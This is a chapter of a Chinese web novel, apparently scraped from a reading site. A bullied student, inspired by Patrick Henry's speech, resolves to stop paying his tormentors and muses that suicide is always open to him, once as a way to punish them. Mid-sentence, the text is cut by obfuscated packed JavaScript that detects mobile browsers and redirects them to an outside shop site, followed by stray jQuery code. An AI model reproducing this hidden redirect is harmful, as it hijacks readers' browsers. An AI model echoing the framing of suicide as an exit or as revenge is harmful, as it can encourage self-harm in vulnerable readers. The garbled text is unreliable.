“Is life so dear, or peace so sweet, as to be purchased at the price of chains and slavery?”
莫非生命如此珍贵，和平如此美好，竟值得我们以镣铐和奴役为代价来获得？
“Forbid it, Almighty God! I know not what course others may take; but as for me, give me liberty or give me death!”
全能的主啊，快阻止他们吧！我不知道别人将选择怎样的道路，但对我来说，不自由，毋宁死！
电脑屏幕中出现黑白字幕，耳罩式耳机里传来沉郁激昂的声音，我盯着那几行字，久久不能回神。
视频播放到了尽头，周围嘈杂的键盘声游戏声隔着耳机闷闷传来，我的脸颊一片湿凉。我用手背蹭了蹭下巴，留下一道湿润的痕迹，这才发现自己哭了。
我从牛仔外套里掏出纸巾，把眼泪擦干净，又重新放了一遍视频。
我没有找到演讲视频，1775年议会上演讲，自然只有文稿。但网上对于帕特里克·亨利这场演讲的介绍以及朗读视频有很多，我挑了一个看。
旁边的人拿出一根烟，打火机啪嗒一响，呛人的烟味弥漫过来，扼住我的喉鼻。我用袖口捂住口鼻咳了两声，重新将注意力放到电脑上。
视频画质一般，我的目光却从未离开过屏幕，拖拽着进度条，将最后那几句话看了又看，一遍又一遍。
我宛如河流中墨绿色的水草，这几句话如源源不绝的溪水将我反复涤荡。
旁边的烟都抽了不知道第几支，还响起了嗦泡面的声音，烟味泡面味还有空气不流通的尘灰味混杂在一起，我的眉毛几乎绞在一起。
我扫了眼电脑右下角的时间，一个小时快到了。
家里没有电脑，从朝阳家吃完火锅已经八点多，我回家换下校服穿了一件黑色棒球服外套，戴上帽子收拾了下，又重新出门，找了家网吧看这篇课文的视频。
其实老师这个预习作业不做也根本没关系，因为他只说预习一下看个视频，甚至预习都没有布置问题。等于是不用仔细做的作业，也根本没必要花一小时的钱去网吧特意用电脑看。
可你相信这世界有冥冥注定吗？
我被一股冥冥中的天意指引着，宁愿再多出几顿白水煮面，也要省下这一笔钱去网吧，去看视频，去了解这篇课文。
哪怕它只是作业，哪怕它在考试中并不算重点课文。
这家网吧不太严，对未成年的限制并不算多，我关了电脑出去的时候，门口穿着紧身裤的绿毛小哥还冲我吹了个口哨说“常来啊”。
回去的路上，月光皎皎，给这个世界都披上了一层朦朦胧胧的纱。
现在已经靠近十点，风凉飕飕地吹来，路上的行人车辆都渐渐变得寂寥。
路灯将我的影子拖长又缩短，我低着头走路，时不时踩住飘黄的落叶，做了一个“惊天动地”的决定。
不过，惊的是我心里那一方小小天地。
我不愿再给那群人所谓的“保护费”。
《不自由，毋宁死》里最后那几句话让我认真地思考了很久，权衡比较了很多。
我需要的是自由吗？不是，我需要的是平静。
但平静之于我，如同自由之于北美被殖民的人民。
人民不得自由，痛苦地受辱，我不得平静，痛苦地活着。
文章中，有一句：“人类天生就容易沉迷于希望的幻想之中。痛苦的现实来临时，我们往往会紧闭双眼不敢面对；宁可倾听海妖的歌声，直到我们被变成野兽为止。”
我深以为然。
我来到这个世界，从一开始就生出了期望这个世界“善待”我，会有所改变而使我不那么痛苦的幻想，所以坚持了一天又一天，一个月过去，两个月过去，坚持到了现在。
诚然，我遇到了好些还不错的人，收到了一些善意，他们让我贫瘠的土地上长出一颗又一颗小草，我也给自己找到了短期内活下去的目标——等考试成绩出来，等我考进年级前一百，我就给自己买一个苹果尝尝。
可是，温笙晖，扪心自问，你难道没有受辱吗？
人们眼里的厌恶并没有减弱多少，哪怕没有厌恶，也并不想和我有太多接近。开学已经两个多月，只有顾舒怡、朝阳、赵梓旭三个人主动和我说过几句话聊过几句还算轻松的天。
反观朝阳，全班的人都乐意找他说话，吃饭打篮球也会主动叫他，其他班的人也和他称兄道弟，还有女生给他递情书，他很好地融入了这个学校。
只有我，只有温笙晖这个奇怪的人，与这里的每个人都好像隔着一层玻璃。
我瘦弱，我丑陋，我沉默，我寡淡，我孤独，我格格不入。
再者，整整一个月，我给他们送了整整一个月的钱。难道这钱真是“保护费”吗？它有保护我哪儿呢？
把钱交给他们的时候，我不还是被呼了好几个巴掌？我不依然被他们骂丑得像外星人？不还是被他们拉住，看着他们讥笑拍下我沾染了泥巴的脸，拍下我被他们围着不敢反抗的怂样？
给了钱，也没有息事宁人，只有变本加厉。
我依然痛苦，依然受辱。
不能因为黑夜出现过流星，就忽略黑暗依然长久存在的事实。
我现在不过是在海妖的歌声中把自己麻痹成野兽。
试问，我现在活着的目标是什么？
是为了那一个苹果。
可我要为了一个苹果，就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14299962|152190||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一而再再而三三番五次地承受被打被骂无端受辱的痛苦吗？
这样的痛苦使我失去我渴求的平静。我可以接受生活出现挫折，出现困难，但我不能一直这样受辱，原因仅仅只是因为我丑而成绩好，人缘差。
我因为那个苹果，失去自尊，失去反抗的能力，失去我该争取的平静，不亚于捡了芝麻丢了西瓜。
我虽然被迫来到这个世界，但离开的权利却一直在我手中，我可以随时离开，因为我没有牵挂，没有后顾之忧。
既然如此，我为什么还要承受他们的欺负和凌辱呢？
我不愿再给他们交钱，倘若他们找我麻烦，找就找了吧，如果受不了，我随时可以走啊。
甚至，我心底还冒出一个恶毒的想法，如果我留下一些证据，证明我的死是因为他们的欺凌，或许他们也会不好过。
月光铺在楼道，我往上走，声控灯应声亮起。
我的脚步从没如此轻快过，抛下那让我痛苦的受辱，整个人像卸下了一个沉重的包袱，从此轻盈起来。
晚上，我又做了梦。
梦见了太阳。
梦里我又陷入了那片黑色地狱，或者说我根本没出去过。但和上次不同，这次我隐隐约约看到了遥远的远方露出一点橙红，像黑色混沌里耀眼的橙色宝石。
可我走不过去。
虽然我辨别出了方向，有了光亮，我依然看不清周围有什么，只能感受到无尽的黑暗和潮湿的翕动。远方的太阳像海市蜃楼，看得到，摸不着。
醒来缓了很久的神，我让自己不再去想这个梦。
为了庆祝自己作出重大决定，我特意出门买了一包火腿肠，给自己煮了一碗加了荷包蛋和火腿肠的挂面，奖励自己拥有反抗的勇气。
我在厨房煮面，热气氤氲，荷包蛋的香味直往我鼻子里钻。
锅里的水咕噜咕噜冒着泡，我小声地一遍一遍重复着“不自由，毋宁死”。
不自由，毋宁死。
不平静，毋宁死。
本质都一样，都想求：有尊严地活着。
内心的平静来源于对生活温和地接纳，温和地接纳是一个主动的行为，而不是被动承受。我可以在遇到变化时主动选择继续活一活，可以主动去创造幸福比如因为考试考得好奖励自己买一个苹果吃。
这是我主动选择的，但交钱被打被骂，被动受辱，这不是我该承受的。
我是一个本来就不想活的人，死之前就想享受一下平静。如果这份平静需要通过毁灭平静来获得，那我情愿去死。
买火腿肠的时候，我还去旁边的店里买了一只录音笔，为了记录下他们霸凌我的证据。不论我之后是否选择死亡，这都将会成为制裁他们的铁证。
可事情总是出乎我的意料。
我过分天真，也忽略了他们为非作歹的能力。